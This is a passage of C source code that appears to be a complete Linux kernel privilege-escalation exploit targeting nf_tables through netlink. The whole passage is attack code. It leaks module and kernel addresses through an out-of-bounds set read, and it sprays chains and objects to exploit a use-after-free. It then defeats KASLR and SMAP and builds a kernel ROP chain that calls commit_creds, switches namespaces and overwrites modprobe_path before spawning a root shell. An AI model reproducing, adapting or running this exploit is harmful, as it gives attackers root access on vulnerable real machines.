end_nftnl_batch(batch); 627 | if ((ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch))) < 0) 628 | { 629 | perror("[-] mnl_socket_sendto 4"); 630 | return ret; 631 | } 632 | for (int i = start_seq; i < end_seq; ++i) 633 | { 634 | if ((ret = run_cb(nl, i, NULL, NULL)) < 0) 635 | { 636 | perror("[-] run_cb"); 637 | return ret; 638 | } 639 | } 640 | 641 | return force_trans_gc(nl); 642 | } 643 | 644 | static int cleanup_chain(struct mnl_socket *nl, char* chainname){ 645 | struct nftnl_chain *chain; 646 | struct mnl_nlmsg_batch *batch; 647 | char buf[MNL_SOCKET_BUFFER_SIZE]; 648 | int ret; 649 | 650 | chain = init_chain(TABLE_NAME_TRIGGER, chainname, false, NULL, 0); 651 | 652 | batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); 653 | start_nftnl_batch(batch); 654 | 655 | batch_del_chain(batch, chain); 656 | nftnl_chain_free(chain); 657 | 658 | end_nftnl_batch(batch); 659 | if ((ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch))) < 0) 660 | { 661 | perror("[-] mnl_socket_sendto"); 662 | return ret; 663 | } 664 | for (int i = start_seq; i < end_seq; ++i) 665 | { 666 | if ((ret = run_cb(nl, i, NULL, NULL)) < 0) 667 | { 668 | perror("[-] run_cb"); 669 | return ret; 670 | } 671 | } 672 | return force_trans_gc(nl); 673 | } 674 | 675 | static int cleanup_first_spray_chain(struct mnl_socket *nl) 676 | { 677 | struct nftnl_chain *c[CHAIN_SPRAY_PER_BATCH]; 678 | struct mnl_nlmsg_batch *batch; 679 | char buf[MNL_SOCKET_BUFFER_SIZE]; 680 | int ret; 681 | char objname[128]; 682 | 683 | for (int b = 0; b < CHAIN_SPRAY_BATCHES_FIRST; ++b) 684 | { 685 | for (int i = 0; i < CHAIN_SPRAY_PER_BATCH; ++i) 686 | { 687 | sprintf(objname, CHAIN_SPRAY_FMT, chainid_fr++); 688 | c[i] = init_chain(TABLE_NAME_TRIGGER, objname, false, NULL, 0); 689 | } 690 | 691 | batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); 692 | start_nftnl_batch(batch); 693 | 694 | for (int i = 0; i < CHAIN_SPRAY_PER_BATCH; ++i) 695 | { 696 | batch_del_chain(batch, c[i]); 697 | nftnl_chain_free(c[i]); 698 | } 699 | 700 | end_nftnl_batch(batch); 701 | 702 | if ((ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch))) < 0) 703 | { 704 | perror("[-] mnl_socket_sendto"); 705 | return ret; 706 | } 707 | 708 | mnl_nlmsg_batch_stop(batch); 709 | 710 | for (int i = start_seq; i < end_seq; ++i) 711 | { 712 | if ((ret = run_cb(nl, i, NULL, NULL)) < 0) 713 | { 714 | perror("[-] run_cb"); 715 | return ret; 716 | } 717 | } 718 | } 719 | 720 | return force_trans_gc(nl); 721 | } 722 | 723 | static int spray_chain(struct mnl_socket *nl, const char *data, size_t sz, bool first_time) 724 | { 725 | int chain_spray_batches; 726 | if (first_time){ 727 | chain_spray_batches = CHAIN_SPRAY_BATCHES_FIRST; 728 | }else{ 729 | chain_spray_batches = CHAIN_SPRAY_BATCHES_SUBSEQUENT; 730 | } 731 | 732 | struct nftnl_chain *c[CHAIN_SPRAY_PER_BATCH]; 733 | struct mnl_nlmsg_batch *batch; 734 | char buf[MNL_SOCKET_BUFFER_SIZE]; 735 | int ret; 736 | char objname[128]; 737 | 738 | for (int b = 0; b < chain_spray_batches; ++b) 739 | { 740 | for (int i = 0; i < CHAIN_SPRAY_PER_BATCH; ++i) 741 | { 742 | sprintf(objname, CHAIN_SPRAY_FMT, chainid_spr++); 743 | c[i] = init_chain(TABLE_NAME_TRIGGER, objname, false, data, sz); 744 | } 745 | 746 | batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); 747 | start_nftnl_batch(batch); 748 | for (int i = 0; i < CHAIN_SPRAY_PER_BATCH; ++i) 749 | { 750 | batch_new_chain(batch, c[i]); 751 | nftnl_chain_free(c[i]); 752 | } 753 | end_nftnl_batch(batch); 754 | 755 | if ((ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch))) < 0) 756 | { 757 | perror("[-] mnl_socket_sendto"); 758 | return ret; 759 | } 760 | mnl_nlmsg_batch_stop(batch); 761 | 762 | for (int i = start_seq; i < end_seq; ++i) 763 | { 764 | if ((ret = run_cb(nl, i, NULL, NULL)) < 0) 765 | { 766 | perror("[-] run_cb"); 767 | return ret; 768 | } 769 | } 770 | 771 | } 772 | 773 | return 0; 774 | } 775 | 776 | static int trigger_set_oob(struct mnl_socket *nl) 777 | { 778 | struct nftnl_table *t; 779 | struct nftnl_set *s; 780 | struct mnl_nlmsg_batch *batch; 781 | char buf[MNL_SOCKET_BUFFER_SIZE]; 782 | uint8_t field_len[256]; 783 | uint8_t field_count = 16; 784 | int ret = -1; 785 | 786 | memset(field_len, 1, sizeof(field_len)); 787 | field_len[field_count++] = 0x30; 788 | 789 | t = init_table(FAMILY, TABLE_NAME_LEAK); 790 | if (t == NULL) 791 | return -1; 792 | 793 | s = init_leak_set(FAMILY, TABLE_NAME_LEAK, SET_NAME_LEAK, SET_ID_LEAK, field_len, field_count); 794 | if (s == NULL) 795 | goto err_tbl; 796 | 797 | batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); 798 | start_nftnl_batch(batch); 799 | batch_new_table(batch, t); 800 | batch_new_set(batch, s); 801 | end_nftnl_batch(batch); 802 | 803 | if ((ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch))) < 0) 804 | { 805 | perror("[-] mnl_socket_sendto"); 806 | goto err_batch; 807 | } 808 | 809 | mnl_nlmsg_batch_stop(batch); 810 | nftnl_set_free(s); 811 | nftnl_table_free(t); 812 | 813 | for (int i = start_seq; i < end_seq; ++i) 814 | { 815 | if ((ret = run_cb(nl, i, NULL, NULL)) < 0) 816 | { 817 | perror("[-] run_cb"); 818 | return ret; 819 | } 820 | } 821 | 822 | return 0; 823 | 824 | err_batch: 825 | mnl_nlmsg_batch_stop(batch); 826 | nftnl_set_free(s); 827 | 828 | err_tbl: 829 | nftnl_table_free(t); 830 | return ret; 831 | } 832 | 833 | static int get_set_cb(const struct nlmsghdr *nlh, void *data) 834 | { 835 | const uint8_t *field_len; 836 | struct nftnl_set *s; 837 | uint32_t field_count; 838 | 839 | s = nftnl_set_alloc(); 840 | if (s == NULL) 841 | { 842 | perror("[-] nftnl_set_alloc"); 843 | goto err; 844 | } 845 | 846 | if (nftnl_set_nlmsg_parse(nlh, s) < 0) 847 | { 848 | perror("[-] nftnl_set_nlmsg_parse"); 849 | goto err_free; 850 | } 851 | 852 | field_len = nftnl_set_get_data(s, NFTNL_SET_DESC_CONCAT, &field_count); 853 | nf_tables = (void *)((*(uint64_t *)(field_len + 0x1c)) - NF_TABLES_SUBSYS_OFFSET); 854 | err_free: 855 | nftnl_set_free(s); 856 | err: 857 | return MNL_CB_OK; 858 | } 859 | 860 | static int leak_nf_tables(struct mnl_socket *nl) 861 | { 862 | char buf[MNL_SOCKET_BUFFER_SIZE]; 863 | struct nlmsghdr *nlh; 864 | uint32_t seq; 865 | struct nftnl_set *s = NULL; 866 | int ret; 867 | 868 | s = nftnl_set_alloc(); 869 | if (s == NULL) 870 | { 871 | perror("[-] nftnl_set_alloc"); 872 | return -1; 873 | } 874 | 875 | seq = mnl_seq++; 876 | nlh = nftnl_set_nlmsg_build_hdr(buf, NFT_MSG_GETSET, FAMILY, 877 | NLM_F_DUMP | NLM_F_ACK, seq); 878 | nftnl_set_nlmsg_build_payload(nlh, s); 879 | nftnl_set_free(s); 880 | 881 | if (((ret = mnl_socket_sendto(nl, nlh, nlh->nlmsg_len))) < 0) 882 | { 883 | perror("[-] mnl_socket_sendto"); 884 | return ret; 885 | } 886 | 887 | if ((ret = run_cb(nl, seq, get_set_cb, NULL)) < 0) 888 | { 889 | perror("[-] run_cb"); 890 | return ret; 891 | } 892 | 893 | return 0; 894 | } 895 | 896 | static int setup_uaf(struct mnl_socket *nl) 897 | { 898 | struct nftnl_table *tv, *tt; 899 | struct nftnl_chain *c; 900 | struct nftnl_rule *r; 901 | struct nftnl_expr *e; 902 | struct nftnl_set *s; 903 | struct nftnl_set_elem *se; 904 | struct nftnl_obj *o; 905 | struct mnl_nlmsg_batch *batch; 906 | char buf[MNL_SOCKET_BUFFER_SIZE]; 907 | int ret; 908 | 909 | tv = init_table(FAMILY, TABLE_NAME_VICTIM); 910 | o = init_obj(TABLE_NAME_VICTIM, OBJ_NAME_VICTIM, NFT_OBJECT_COUNTER); 911 | s = init_obj_set(FAMILY, TABLE_NAME_VICTIM, SET_NAME_VICTIM, SET_ID_VICTIM, NFT_OBJECT_COUNTER); 912 | se = init_set_elem(OBJ_NAME_VICTIM); 913 | nftnl_set_elem_add(s, se); 914 | 915 | tt = init_table(FAMILY, TABLE_NAME_TRIGGER); 916 | c = init_chain(TABLE_NAME_TRIGGER, CHAIN_NAME_TRIGGER, false, NULL, 0); 917 | r = init_rule(FAMILY, TABLE_NAME_TRIGGER, CHAIN_NAME_TRIGGER); 918 | e = init_objref_map_expr(SET_ID_VICTIM); 919 | nftnl_rule_add_expr(r, e); 920 | 921 | batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); 922 | start_nftnl_batch(batch); 923 | 924 | batch_new_table(batch, tv); 925 | batch_new_obj(batch, o); 926 | batch_new_set(batch, s); 927 | batch_new_set_elem(batch, s); 928 | 929 | batch_new_table(batch, tt); 930 | batch_new_chain(batch, c); 931 | batch_new_rule(batch, r); 932 | 933 | batch_del_table(batch, tv); 934 | 935 | end_nftnl_batch(batch); 936 | 937 | if ((ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch))) < 0) 938 | { 939 | perror("[-] mnl_socket_sendto"); 940 | return ret; 941 | } 942 | mnl_nlmsg_batch_stop(batch); 943 | 944 | for (int i = start_seq; i < end_seq; ++i) 945 | { 946 | if ((ret = run_cb(nl, i, NULL, NULL)) < 0) 947 | { 948 | perror("[-] run_cb"); 949 | return ret; 950 | } 951 | } 952 | 953 | return force_trans_gc(nl); 954 | } 955 | 956 | static int setup_arb_read(struct mnl_socket *nl) 957 | { 958 | struct nftnl_expr *eo = NULL; 959 | struct nftnl_obj *o[OBJ_SPRAY_PER_BATCH]; 960 | struct nftnl_chain *co; 961 | struct nftnl_rule *ro; 962 | struct mnl_nlmsg_batch *batch; 963 | char buf[MNL_SOCKET_BUFFER_SIZE]; 964 | int ret; 965 | char objname[128]; 966 | 967 | if (spray_objects(nl) < 0) 968 | return -1; 969 | 970 | printf("[*] Sleeping to wait for set gc...\n"); 971 | sleep(5); 972 | 973 | for (int b = 0; b < OBJ_SPRAY_BATCHES; ++b) 974 | { 975 | for (int i = 0; i < OBJ_SPRAY_PER_BATCH; ++i) 976 | { 977 | sprintf(objname, OBJ_SPRAY_FMT, objid_fr + b * OBJ_SPRAY_PER_BATCH + i); 978 | o[i] = init_obj(TABLE_NAME_TRIGGER, objname, NFT_OBJECT_COUNTER); 979 | } 980 | 981 | batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); 982 | start_nftnl_batch(batch); 983 | 984 | for (int i = 0; i < OBJ_SPRAY_PER_BATCH; ++i) 985 | { 986 | batch_del_obj(batch, o[i]); 987 | nftnl_obj_free(o[i]); 988 | } 989 | 990 | end_nftnl_batch(batch); 991 | 992 | if ((ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch))) < 0) 993 | { 994 | perror("[-] mnl_socket_sendto 2"); 995 | return ret; 996 | } 997 | 998 | mnl_nlmsg_batch_stop(batch); 999 | 1000 | for (int i = start_seq; i < end_seq; ++i) 1001 | { 1002 | if ((ret = run_cb(nl, i, NULL, NULL)) < 0) 1003 | { 1004 | if (eo != NULL) 1005 | { 1006 | perror("[-] run_cb 2"); 1007 | return ret; 1008 | } 1009 | 1010 | sprintf(objname, OBJ_SPRAY_FMT, objid_fr + b * OBJ_SPRAY_PER_BATCH + i - start_seq); 1011 | printf("[+] Reclaimed object: %s\n", objname); 1012 | co = init_chain(TABLE_NAME_TRIGGER, CHAIN_NAME_OBJ, true, NULL, 0); 1013 | ro = init_rule(FAMILY, TABLE_NAME_TRIGGER, CHAIN_NAME_OBJ); 1014 | eo = init_objref_imm_expr(objname, NFT_OBJECT_COUNTER); 1015 | nftnl_rule_add_expr(ro, eo); 1016 | } 1017 | } 1018 | 1019 | if (eo != NULL) 1020 | break; 1021 | } 1022 | 1023 | if (eo == NULL) 1024 | { 1025 | printf("[-] Cannot reclaim object\n"); 1026 | return -1; 1027 | } 1028 | batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); 1029 | start_nftnl_batch(batch); 1030 | 1031 | batch_new_chain(batch, co); 1032 | batch_new_rule(batch, ro); 1033 | 1034 | end_nftnl_batch(batch); 1035 | 1036 | if ((ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch))) < 0) 1037 | { 1038 | perror("[-] mnl_socket_sendto 3"); 1039 | return ret; 1040 | } 1041 | 1042 | mnl_nlmsg_batch_stop(batch); 1043 | 1044 | for (int i = start_seq; i < end_seq; ++i) 1045 | { 1046 | if ((ret = run_cb(nl, i, NULL, NULL)) < 0) 1047 | { 1048 | perror("[-] run_cb 3"); 1049 | return ret; 1050 | } 1051 | } 1052 | 1053 | objid_fr = objid_spr; 1054 | 1055 | return cleanup_obj(nl, objname) < 0; 1056 | } 1057 | 1058 | static int calc_vmlinux(struct nftnl_expr *e, void *cbdata) 1059 | { 1060 | const char *data; 1061 | uint32_t kfree_relative; 1062 | uint64_t kfree_hi; 1063 | uint64_t kfree_low; 1064 | uint64_t offset; 1065 | 1066 | data = nftnl_expr_get_str(e, NFTNL_EXPR_OBJREF_IMM_NAME); 1067 | kfree_relative = *(uint32_t *)data; 1068 | offset = kfree_relative; 1069 | printf("[+] kfree_relative: %p\n", (void *) offset); 1070 | kfree_hi = ((uint64_t)nf_tables + NF_TABLES_KFREE_CALL + 4) & 0xffffffff00000000llu; 1071 | kfree_low = (uint64_t)nf_tables + NF_TABLES_KFREE_CALL + 4 + kfree_relative; 1072 | void *kfree = (void *)(kfree_hi + (kfree_low & 0xffffffff)); 1073 | printf("[+] kfree: %p\n", kfree); 1074 | vmlinux = (void *)(kfree - KFREE_OFFSET); 1075 | 1076 | return MNL_CB_OK; 1077 | } 1078 | 1079 | static int calc_objid(struct nftnl_expr *e, void *cbdata) 1080 | { 1081 | const char *name; 1082 | 1083 | name = nftnl_expr_get_str(e, NFTNL_EXPR_OBJREF_IMM_NAME); 1084 | sscanf(name, OBJ_SPRAY_FMT, &ignore_fr_id); 1085 | 1086 | return MNL_CB_OK; 1087 | } 1088 | 1089 | static int calc_heap(struct nftnl_expr *e, void *cbdata) 1090 | { 1091 | const char *name; 1092 | uint64_t addr; 1093 | 1094 | name = nftnl_expr_get_str(e, NFTNL_EXPR_OBJREF_IMM_NAME); 1095 | addr = *(uint64_t *)name; 1096 | heap = (void *)(addr << 8ull); 1097 | 1098 | return MNL_CB_OK; 1099 | } 1100 | 1101 | static int get_rule_cb(const struct nlmsghdr *nlh, void *data) 1102 | { 1103 | struct nftnl_rule *r; 1104 | 1105 | r = nftnl_rule_alloc(); 1106 | if (r == NULL) 1107 | { 1108 | perror("[-] nftnl_rule_alloc"); 1109 | goto err; 1110 | } 1111 | 1112 | if (nftnl_rule_nlmsg_parse(nlh, r) < 0) 1113 | { 1114 | perror("[-] nftnl_rule_nlmsg_parse"); 1115 | goto err_free; 1116 | } 1117 | 1118 | nftnl_expr_foreach(r, data, NULL); 1119 | 1120 | err_free: 1121 | nftnl_rule_free(r); 1122 | err: 1123 | return MNL_CB_OK; 1124 | } 1125 | 1126 | static int dump_leak_rule(struct mnl_socket *nl, int (*cb)(struct nftnl_expr *e, void *data)) 1127 | { 1128 | struct nftnl_rule *r; 1129 | uint32_t seq; 1130 | int ret; 1131 | struct nlmsghdr *nlh; 1132 | char buf[MNL_SOCKET_BUFFER_SIZE]; 1133 | 1134 | r = init_rule(FAMILY, TABLE_NAME_TRIGGER, CHAIN_NAME_OBJ); 1135 | 1136 | seq = mnl_seq++; 1137 | nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, FAMILY, 1138 | NLM_F_DUMP, seq); 1139 | nftnl_rule_nlmsg_build_payload(nlh, r); 1140 | 1141 | if (((ret = mnl_socket_sendto(nl, nlh, nlh->nlmsg_len))) < 0) 1142 | { 1143 | perror("[-] mnl_socket_sendto"); 1144 | return ret; 1145 | } 1146 | if ((ret = run_cb(nl, seq, get_rule_cb, cb)) < 0) 1147 | { 1148 | perror("[-] run_cb"); 1149 | return ret; 1150 | } 1151 | 1152 | return 0; 1153 | } 1154 | 1155 | static int check_obj_data(const struct nlmsghdr *nlh, void *data) 1156 | { 1157 | struct nftnl_chain *c; 1158 | const char *udata, *chname; 1159 | uint32_t udlen, chlen; 1160 | 1161 | c = nftnl_chain_alloc(); 1162 | if (c == NULL) 1163 | { 1164 | perror("[-] nftnl_chain_alloc"); 1165 | goto err; 1166 | } 1167 | 1168 | if (nftnl_chain_nlmsg_parse(nlh, c) < 0) 1169 | { 1170 | perror("[-] nftnl_chain_nlmsg_parse"); 1171 | goto err_free; 1172 | } 1173 | 1174 | chname = nftnl_chain_get_data(c, NFTNL_CHAIN_NAME, &chlen); 1175 | udata = nftnl_chain_get_data(c, NFTNL_CHAIN_USERDATA, &udlen); 1176 | if (*(uint64_t *)&udata[NFT_OBJECT_NAME] != 0x4141414141414141llu) 1177 | { 1178 | memcpy(obj_data, udata, udlen); 1179 | memcpy(cname, chname, chlen); 1180 | } 1181 | err_free: 1182 | nftnl_chain_free(c); 1183 | err: 1184 | return MNL_CB_OK; 1185 | } 1186 | 1187 | static int leak_obj_data(struct mnl_socket *nl) 1188 | { 1189 | struct nftnl_chain *c; 1190 | uint32_t seq; 1191 | int ret; 1192 | struct nlmsghdr *nlh; 1193 | char buf[MNL_SOCKET_BUFFER_SIZE]; 1194 | char objname[128]; 1195 | 1196 | *(uint64_t *)&obj_data[NFT_OBJECT_NAME] = 0x4141414141414141llu; 1197 | 1198 | for (uint32_t i = chainid_fr; i < chainid_spr; ++i) 1199 | { 1200 | sprintf(objname, CHAIN_SPRAY_FMT, i); 1201 | c = init_chain(TABLE_NAME_TRIGGER, objname, false, NULL, 0); 1202 | 1203 | seq = mnl_seq++; 1204 | nlh = nftnl_chain_nlmsg_build_hdr(buf, NFT_MSG_GETCHAIN, FAMILY, 1205 | NLM_F_ACK, seq); 1206 | nftnl_chain_nlmsg_build_payload(nlh, c); 1207 | 1208 | if (((ret = mnl_socket_sendto(nl, nlh, nlh->nlmsg_len))) < 0) 1209 | { 1210 | perror("[-] mnl_socket_sendto"); 1211 | return ret; 1212 | } 1213 | 1214 | if ((ret = run_cb(nl, seq, check_obj_data, NULL)) < 0) 1215 | { 1216 | perror("[-] run_cb"); 1217 | return ret; 1218 | } 1219 | 1220 | if (*(uint64_t *)&obj_data[NFT_OBJECT_NAME] != 0x4141414141414141llu) 1221 | return 0; 1222 | } 1223 | 1224 | printf("[-] Cannot leak object data\n"); 1225 | return -1; 1226 | } 1227 | 1228 | static void build_krop(char *buf, size_t sz) 1229 | { 1230 | memset(buf, 0, sz); 1231 | *(uint64_t *)buf = (uint64_t)vmlinux + PUSH_RDI_POP_RSP_POP_RBP_RET; 1232 | *(uint64_t *)&buf[0x08] = (uint64_t)vmlinux + POP_RDI_RET; 1233 | *(uint64_t *)&buf[0x10] = 0x0; 1234 | *(uint64_t *)&buf[0x18] = (uint64_t)vmlinux + PREPARE_KERNEL_CRED; 1235 | *(uint64_t *)&buf[0x20] = (uint64_t)vmlinux + CMP_ECX_ECX_RET; 1236 | *(uint64_t *)&buf[0x28] = (uint64_t)vmlinux + MOV_RDI_RAX_JNE_RET; 1237 | *(uint64_t *)&buf[0x30] = (uint64_t)vmlinux + COMMIT_CREDS; 1238 | *(uint64_t *)&buf[0x38] = (uint64_t)vmlinux + POP_RDI_RET; 1239 | *(uint64_t *)&buf[0x40] = 0x1; 1240 | *(uint64_t *)&buf[0x48] = (uint64_t)vmlinux + FIND_TASK_BY_VPID; 1241 | *(uint64_t *)&buf[0x50] = (uint64_t)vmlinux + CMP_ECX_ECX_RET; 1242 | *(uint64_t *)&buf[0x58] = (uint64_t)vmlinux + MOV_RDI_RAX_JNE_RET; 1243 | *(uint64_t *)&buf[0x60] = (uint64_t)vmlinux + POP_RSI_RET; 1244 | *(uint64_t *)&buf[0x68] = (uint64_t)vmlinux + INIT_NSPROXY; 1245 | *(uint64_t *)&buf[0x70] = (uint64_t)vmlinux + SWITCH_TASK_NAMESPACES; 1246 | *(uint64_t *)&buf[0x78] = (uint64_t)vmlinux + POP_RBP_RET; 1247 | *(uint64_t *)&buf[NFT_OBJECT_OPS] = (uint64_t)heap; //to trigger rop by eval (0x80) 1248 | *(uint64_t *)&buf[0x88] = (uint64_t)vmlinux + POP_RDI_RET; 1249 | *(uint64_t *)&buf[0x90] = 0x0077702f706d742f; //wp/pmt/ 1250 | *(uint64_t *)&buf[0x98] = (uint64_t)vmlinux + POP_RSI_RET; 1251 | *(uint64_t *)&buf[0xa0] = (uint64_t)vmlinux + MODPROBE_PATH; 1252 | *(uint64_t *)&buf[0xa8] = (uint64_t)vmlinux + MOV_QWORD_PTR_RSI_RDI_RET; 1253 | *(uint64_t *)&buf[0xb0] = (uint64_t)vmlinux + KPTI_TRAMPOLINE; 1254 | *(uint64_t *)&buf[0xb8] = 0x0; //dummy rax 1255 | *(uint64_t *)&buf[0xc0] = 0x0; //dummy rdi 1256 | *(uint64_t *)&buf[0xc8] = (unsigned long)get_shell; 1257 | *(uint64_t *)&buf[0xd0] = user_cs; 1258 | *(uint64_t *)&buf[0xd8] = user_rflags; 1259 | *(uint64_t *)&buf[0xe0] = user_sp; 1260 | *(uint64_t *)&buf[0xe8] = user_ss; 1261 | } 1262 | 1263 | static void start_echo_sv() 1264 | { 1265 | int s, recv_len; 1266 | socklen_t addr_len = sizeof(struct sockaddr_in); 1267 | struct sockaddr_in addr_me, addr_other; 1268 | char buf[4096]; 1269 | 1270 | close(0); 1271 | close(1); 1272 | close(2); 1273 | 1274 | if ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) 1275 | return; 1276 | 1277 | memset(&addr_me, 0, sizeof(struct sockaddr_in)); 1278 | memset(&addr_other, 0, sizeof(struct sockaddr_in)); 1279 | 1280 | addr_me.sin_family = AF_INET; 1281 | addr_me.sin_port = htons(PORT_SERVER); 1282 | addr_me.sin_addr.s_addr = htonl(INADDR_ANY); 1283 | 1284 | if (bind(s, &addr_me, sizeof(struct sockaddr_in)) == -1) 1285 | return; 1286 | 1287 | while (1) 1288 | { 1289 | if ((recv_len = recvfrom(s, buf, sizeof(buf), 0, &addr_other, &addr_len)) == -1) 1290 | break; 1291 | } 1292 | } 1293 | 1294 | int main() 1295 | { 1296 | int sock; 1297 | pid_t pid; 1298 | struct mnl_socket *nl; 1299 | struct sockaddr_in sv_addr; 1300 | char buf[256]; 1301 | 1302 | pid = fork(); 1303 | if (pid == 0) 1304 | { 1305 | start_echo_sv(); 1306 | return 0; 1307 | } 1308 | 1309 | setbuf(stdout, NULL); 1310 | memset(buf, 0, sizeof(buf)); 1311 | 1312 | printf("[*] Stage 0: Setup namespace sandbox\n"); 1313 | if (setup_sandbox()) 1314 | return -1; 1315 | 1316 | printf("[*] Stage 1: Preparation\n"); 1317 | printf("[*] Opening netlink socket\n"); 1318 | 1319 | nl = mnl_socket_open(NETLINK_NETFILTER); 1320 | if (nl == NULL) 1321 | { 1322 | perror("[-] mnl_socket_open"); 1323 | return -1; 1324 | } 1325 | 1326 | if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) 1327 | { 1328 | perror("[-] mnl_socket_bind"); 1329 | goto err_mnl_sock; 1330 | } 1331 | 1332 | printf("[*] Requesting compat modules\n"); 1333 | if (request_compat(nl, "AUDIT", 0, 1)) 1334 | goto err_mnl_sock; 1335 | 1336 | printf("[*] Opening UDP socket\n"); 1337 | if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) 1338 | { 1339 | perror("[-] socket"); 1340 | goto err_mnl_sock; 1341 | } 1342 | 1343 | sv_addr.sin_family = AF_INET; 1344 | sv_addr.sin_port = htons(PORT_SERVER); 1345 | sv_addr.sin_addr.s_addr = htonl(INADDR_ANY); 1346 | 1347 | printf("[*] Stage 2: Leak nf_tables.ko base address\n"); 1348 | printf("[*] Triggering OOB\n"); 1349 | if (trigger_set_oob(nl)) 1350 | goto err_mnl_sock; 1351 | printf("[*] Trying to leak\n"); 1352 | if (leak_nf_tables(nl)) 1353 | goto err_mnl_sock; 1354 | if (nf_tables == NULL) 1355 | { 1356 | printf("[-] Cannot leak nf_tables.ko\n"); 1357 | goto err_mnl_sock; 1358 | } 1359 | printf("[+] nf_tables: %p\n", nf_tables); 1360 | 1361 | printf("[*] Stage 3: Setup arbitrary read primitive\n"); 1362 | printf("[*] Setting up for UAF\n"); 1363 | if (setup_uaf(nl)) 1364 | goto err_mnl_sock; 1365 | printf("[*] Force free victim object and setup for arbitrary read\n"); 1366 | if (setup_arb_read(nl)) 1367 | goto err_mnl_sock; 1368 | 1369 | printf("[*] Stage 4: Defeat KASLR\n"); 1370 | *(uint64_t *)&buf[NFT_OBJECT_NAME] = (uint64_t)nf_tables + NF_TABLES_KFREE_CALL; 1371 | *(uint64_t *)&buf[NFT_OBJECT_OPS] = (uint64_t)nf_tables + NF_TABLES_SECMARK_OBJ_OPS; 1372 | 1373 | if (spray_chain(nl, buf, sizeof(buf), true) < 0) 1374 | goto err_mnl_sock; 1375 | printf("[*] Trying to leak vmlinux\n"); 1376 | if (dump_leak_rule(nl, calc_vmlinux)) 1377 | goto err_mnl_sock; 1378 | if (vmlinux == NULL) 1379 | { 1380 | printf("[-] Cannot leak vmlinux\n"); 1381 | goto err_mnl_sock; 1382 | } 1383 | printf("[+] vmlinux: %p\n", vmlinux); 1384 | 1385 | //currently need to clean up everything 1386 | if (cleanup_first_spray_chain(nl) < 0) 1387 | goto err_mnl_sock; 1388 | 1389 | printf("[*] Stage 5: Defeat SMAP\n"); 1390 | *(uint64_t *)&buf[NFT_OBJECT_NAME] = 0x4141414141414141llu; 1391 | *(uint64_t *)&buf[NFT_OBJECT_OPS] = (uint64_t)vmlinux + DMI_CLASS_KFREE_OFFSET; 1392 | if (spray_chain(nl, buf, sizeof(buf), false) < 0) 1393 | goto err_mnl_sock; 1394 | printf("[*] Triggering object eval\n"); 1395 | 1396 | if (sendto(sock, &sock, 1, 0, &sv_addr, sizeof(struct sockaddr_in)) == -1) 1397 | { 1398 | perror("[-] sendto"); 1399 | goto err_mnl_sock; 1400 | } 1401 | 1402 | if (spray_objects(nl) < 0) 1403 | goto err_mnl_sock; 1404 | 1405 | if (dump_leak_rule(nl, calc_objid)) 1406 | goto err_mnl_sock; 1407 | if (ignore_fr_id == 0) 1408 | { 1409 | printf("[-] Cannot reclaim object\n"); 1410 | goto err_mnl_sock; 1411 | } 1412 | printf("[+] Reclamed object: " OBJ_SPRAY_FMT "\n", ignore_fr_id); 1413 | 1414 | printf("[*] Trying to leak reclaimed object data\n"); 1415 | 1416 | if (leak_obj_data(nl) < 0) 1417 | goto err_mnl_sock; 1418 | printf("[+] faked_obj->next: %p\n", (void *)(*(uint64_t *)obj_data)); 1419 | 1420 | printf("[+] Marked chain: %s\n", cname); 1421 | if (cleanup_chain(nl,cname) < 0) 1422 | goto err_mnl_sock; 1423 | 1424 | *(uint64_t *)&buf[NFT_OBJECT_NAME] = *(uint64_t *)obj_data + 1 + 8; //to read then shift right 8 bits later 1425 | *(uint64_t *)&buf[NFT_OBJECT_OPS] = (uint64_t)vmlinux + DMI_CLASS_KFREE_OFFSET; 1426 | 1427 | if (spray_chain(nl, buf, sizeof(buf), false) < 0) 1428 | goto err_mnl_sock; 1429 | printf("[*] Trying to leak heap\n"); 1430 | 1431 | if (dump_leak_rule(nl, calc_heap)) 1432 | goto err_mnl_sock; 1433 | if (heap == NULL) 1434 | { 1435 | printf("[-] Cannot leak heap\n"); 1436 | goto err_mnl_sock; 1437 | } 1438 | 1439 | printf("[+] heap (faked_obj->next->prev): %p\n", heap); 1440 | 1441 | printf("[*] Triggering object eval\n"); 1442 | if (sendto(sock, &sock, 1, 0, &sv_addr, sizeof(struct sockaddr_in)) == -1) 1443 | { 1444 | perror("[-] sendto\n"); 1445 | goto err_mnl_sock; 1446 | } 1447 | 1448 | printf("[*] Stage 6: Save state\n"); 1449 | save_state(); 1450 | 1451 | printf("[*] Stage 7: Kernel ROP\n"); 1452 | build_krop(buf, sizeof(buf)); 1453 | if (spray_chain(nl, buf, sizeof(buf), false) < 0) 1454 | goto err_mnl_sock; 1455 | 1456 | printf("[*] Triggering object eval\n"); 1457 | if (sendto(sock, &sock, 1, 0, &sv_addr, sizeof(struct sockaddr_in)) == -1) 1458 | { 1459 | perror("[-] sendto\n"); 1460 | goto err_mnl_sock; 1461 | } 1462 | err_mnl_sock: 1463 | mnl_socket_close(nl); 1464 | return -1; 1465 | } --------------------------------------------------------------------------------